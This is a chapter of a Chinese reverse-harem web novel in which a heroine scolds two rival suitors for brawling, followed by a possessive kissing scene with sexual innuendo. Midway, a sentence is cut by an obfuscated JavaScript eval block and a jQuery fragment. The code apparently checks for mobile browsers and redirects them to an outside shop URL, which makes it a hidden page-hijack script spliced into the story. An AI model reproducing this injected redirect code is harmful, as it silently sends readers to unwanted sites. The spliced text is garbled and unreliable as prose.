65. 第 65 章

作品:《恶毒女配不好惹!

    第二天,尚今歌起了个大早。


    一打开入户门,一左一右站着两个门神。


    两人原本又要因为她坐谁的车开始争吵,在接收到尚今歌眼刀后立刻鹌鹑似的缩起脑袋闭起嘴巴。


    “你俩给我忙点实事行不?我不喜欢无所事事的男人,看着就不靠谱,没有安全感。”对两人厚脸皮的黏人程度早已了然于心的尚今歌,清楚赶是赶不走他俩,只能换个方式让他俩别再做个只会追在她屁股后面的跟屁虫。


    两人一听她这么说,争先恐后地说自己工作忙得很。


    “今歌,我待会要去我爸妈那边的建筑公司参与设计项目,有个大项目点名要我设计。”卫免一边说一边颇为嘚瑟地斜了一眼身旁的叶守诚,他不仅会唱跳还能建筑设计,叶守诚除了做饭好吃,还能有什么用?


    被卫免嘚瑟劲恶心到的叶守诚不甘示弱,他立即掰过尚今歌朝向卫免的脸让她只看着自己:“宝贝,我下周得去D国斯图加特举办的世界奥林匹克烹饪大赛担任评委。”


    “切,我还获得过普利兹克建筑奖,我拿出来说了吗?”卫免一听叶守诚还真有两把刷子,心里认可他的能力,但嘴上还是不饶人。


    叶守诚迅速回怼:“那现在是狗在叫啊?”


    尚今歌一看两人又开始吵起来,完全把她昨晚说的话当屁给放了,她气得撞开挡在面前的两人钻进电梯。


    见两人追上来,她抬手制止:“你俩什么时候记起我说的话再来我面前晃悠,现在你俩我一个都不想看到。”


    卫免和叶守诚突然意识到他俩刚才又踩在尚今歌的雷点上,懊悔地直撞墙,最后只能眼睁睁地看着载着尚今歌的电梯在眼前关闭。


    卫免血气方刚,才开了荤,正是上头的时候,现在美人据他千里之外,只能远观不能触碰,他感觉自己会憋死的。


    而终于尝过什么叫□□的鱼水之欢的叶守诚,也是焦灼难受一夜,哪怕只让他抱着宝贝的一条胳膊也能让他畅快,可现在都不能近她的身。


    仿佛天塌了的两人再次默契地将造成这个局面的原因归结到对方身上,也不知道是谁先动的手,两人竟然在电梯口打作一团。


    等到尚今歌在工作室见到姗姗来迟的他俩,发现两人脸上都挂了彩,知道两人又打架了,她冲过去给揪住两人的耳朵拽进卫免的私人休息室。


    “我昨晚和你们说的是不是人话?你们是斗犬吗?一见面不是吵架就是打架?看看你们两张脸,一个不是要去弄设计方案,一个不是要去当评委,就这样给人看笑话?”尚今歌一边对坐在沙发两端的两个大男人劈头盖脸一顿骂,一边狠戳两人脸上破皮的地方。


    “嘶,疼疼疼。”


    “宝贝,轻点儿。”


    卫免和叶守诚接连痛呼出声,他俩捂着脸颊的伤口哀怨又可怜地瞅着站在面前的尚今歌。


    “现在知道疼了,怎么不疼死你俩。”尚今歌怒极反笑,看着眼前这两人委屈巴巴的小模样,别说还挺勾人。


    意识到自己开始想入非非,尚今歌赶紧把脑子里的黄色废料甩一边。


    原来,脆弱委屈的男人这么容易引起激起她的冲动。


    尚今歌不禁想到浑身是血的苍怀忍和徐忱逸,这两人是太过了,不单单是脆弱委屈,而是骇人了。


    一想到他俩,尚今歌浑身打了个哆嗦。


    “我要爽死,不要疼死。”叶守诚不害臊地说起荤话。


    尚今歌一把掐住他的嘴,水汪汪的杏眼里怒火燃烧:“你脑子里整天都是废料,你不是不能和人亲密接触,怎么打架的时候没看你犯病?”


    叶守诚握住她的手腕,唇瓣紧跟着贴了上去:“那不一样,打架怎么能算亲密接触,宝贝,你理解错亲密这个词了。”


    “行,你赢了。”尚今歌懒得和他拌嘴,肩膀一抖直接甩开他,扭头就要走。


    “宝贝,我错了,我以后不会再和你顶嘴。”叶守诚一把拉住尚今歌,长腿一勾。


    尚今歌猝不及防,膝盖一弯整个人便坐进他的怀中。


    “叶守诚!”


    “臭扫货!”


    尚今歌和卫免同时怒吼,叶守诚仿若未闻,他捏起尚今歌的下巴趁机偷香。


    刚开完荤就结结实实素了一天一夜,叶守诚感觉尚今歌再不给他点甜头,他会像得不到营养的花朵变得枯萎然后死去。


    叶守诚如狼似虎的架势仿佛要将她生吞,尚今歌脑袋往后退一点都会被他掌在脑后的手掌往前深深压进两分。


    他的吻迅疾猛烈,如盛夏骤然降临的滂沱大雨,让她退无可退,避无可避,只能仰着脑袋承受骤雨。


    “扫货!你有完没完!”心爱的女人被别的男人箍在怀里亲吻,卫免肺都要气炸了,他从沙发上跳起冲到两人身旁。


    挥起的拳头已经对准叶守诚的脑袋,但念及尚今歌的脑袋和他相贴,自己一旦动手可能会波及到她,卫免只能攥着拳头口头威胁。


    卫免稍稍从尚今歌的唇边退出一点,冷眼扫向怒不可遏的叶守诚:“没完。”


    话落,他再次封住想出声制止他继续的樱唇。


    好不容易久旱逢甘霖,他才不管卫免的拳头会不会砸过来,他现在只想牡丹花下死做鬼也风流。


    如果不是旁边有个碍眼的卫免,他真想此刻就和怀中的尚今歌融为一体。


    尚今歌被叶守诚吻得七荤八素,脑袋晕乎乎的,她没想到这小子吻技这么绝。


    不,早该想到,两天前的夜里,他就是靠着这张嘴数次麻痹她的神经,击溃她的理智,牵引着她一次次同意他共赴沉沦的邀请。


    换气时,眼角余光瞥见气得满脸通红的卫免,她才意识到自己因为沉溺欲望中把卫免给抛之脑后。


    她拍拍叶守诚箍在腰上的手臂示意他停下,但叶守诚却将这当成继续的信号,紧紧黏着她的唇瓣。


    原本见尚今歌没有拒绝,相反还被叶守诚带动沉醉其中的样子,卫免气得脑袋和心脏发痛都没敢动手。


    他怕再像医院时,他打断尚今歌的快乐而被她讨厌。


    此刻看到尚今歌想结束,他当即上手将尚今歌从叶守诚的桎梏里解救出来,接着死死揪住叶守诚衬衫的领口冲他的脸扬起拳头。


    “卫免,快住手!”尚今歌不想再看到两人打架,她双手抱住卫免悬在叶守诚头上的手腕。


    卫免一脸受伤地转头俯视坐在沙发上的她,深褐色的眼眸通红一片,点点泪光闪烁其中。


    见他一副可怜样,尚今歌叹了口气,仰头贴在他耳边:“昨天你不是也亲了吗?这很公平。”


    无法反驳的卫免只能默默松开叶守诚的衣领,他从尚今歌怀里抽回自己的另一只胳膊,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080701|190115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转身离开休息室。


    “宝贝,我就知道你最爱我了。”这一场两人的对峙,他的宝贝站在他这边,叶守诚激动地像打了一场胜仗。


    他泥鳅似的将上半身钻到尚今歌的怀里,脑袋贴着她的心口使劲闻嗅她身上香甜的味道。


    他的宝贝今天喷的香水是他特意留在化妆台上的主调是玫瑰香的香水,是他最喜欢的一款香水。


    “你也滚一边去,别以为我气消了!我是不想看你们打架,要是再被我发现你们因为互相打架受伤,不管谁先动手,你们两个我全都不要了。”


    尚今歌掏出底牌,如果这样还不能震慑他们,那这两个不可控的斗犬,她再不舍也要放弃。


    她不想身边存在不稳定因素,这会影响她的工作和生活,会消磨她的精气神。


    毕竟,因为穿书而得到的第二次生命,她要绝对地以自己为中心为主体。


    任何对自己不利的,都得剔除。


    “是,我明白了!”叶守诚从尚今歌身前坐直身体,他打量一会儿她,发现她是认真的,立即挺直腰板顺从地应下。


    知道此时的宝贝不想看到自己,叶守诚麻溜地跑走。


    刚出休息室,他一眼望见站在走廊尽头靠着玻璃墙眺望远方的卫免。


    他揉了揉酸痛的左边颧骨,那是早上和卫免打架被他一拳打到,现在还火辣辣地疼。


    要是以往,他不是喊家庭医生就是去医院了,在听过宝贝亲口说的他即使挂彩也能很好看后,他觉得受点伤也没什么。


    一想到尚今歌,他的心便泛起甜蜜。


    叶守诚还没尽情品味这份甜蜜,靠在玻璃墙边的卫免突然回头,锐利的眼神像利箭一样射了过来。


    叶守诚愣了一下,随后想到什么,他直直地朝卫免走去。


    “臭扫货,想和我耀武扬威?”卫免双手环胸斜靠玻璃墙,努力装出一副松弛的样子,其实夹在臂弯里的两只手早已攥成拳,只要叶守诚敢嘚瑟一下,他保证一拳砸上去。


    叶守诚轻抬双手做出投降的模样:“nonono,我没这意思,我是觉得我们得好好谈谈。”


    “和扫货交谈能得到什么有用信息?我看除了发扫,其他什么价值都没有。”卫免像是听到什么笑话一样不屑地瞥他一眼,随后扭头继续看向窗外。


    换作被尚今歌赶出来之前,叶守诚听到卫免这么侮辱自己,他能瞬间跳脚要和卫免干架,但接收了尚今歌的威胁后,他知道不能再这样了。


    “我觉得我们可以和平相处,不然一直这样下去,我们会消磨掉宝贝对我们的耐心和爱。”


    叶守诚不管卫免有没有在听自顾自说着,只要他没把耳朵堵上,自己说的话多多少少都会钻入卫免耳朵。


    “宝贝的性格你肯定了解,她看似容易心软,但要是触及她的底线,她会毫不留情地斩断一切联系。”


    在看到卫免听到他说到这忽然转过头,用警惕的眼神瞅着自己,叶守诚知道自己的话卫免听进去了,他继续下猛料。


    “到时候我们出局,想再入局,你觉得苍怀忍和徐忱逸会轻易让我们回到宝贝身边吗?”


    叶守诚说到这便不再言语,他与脸色逐渐凝重的卫免对视一眼,然后转身走了。


    他不急着卫免给出反应,自己话说到这,卫免是个傻子也该明白。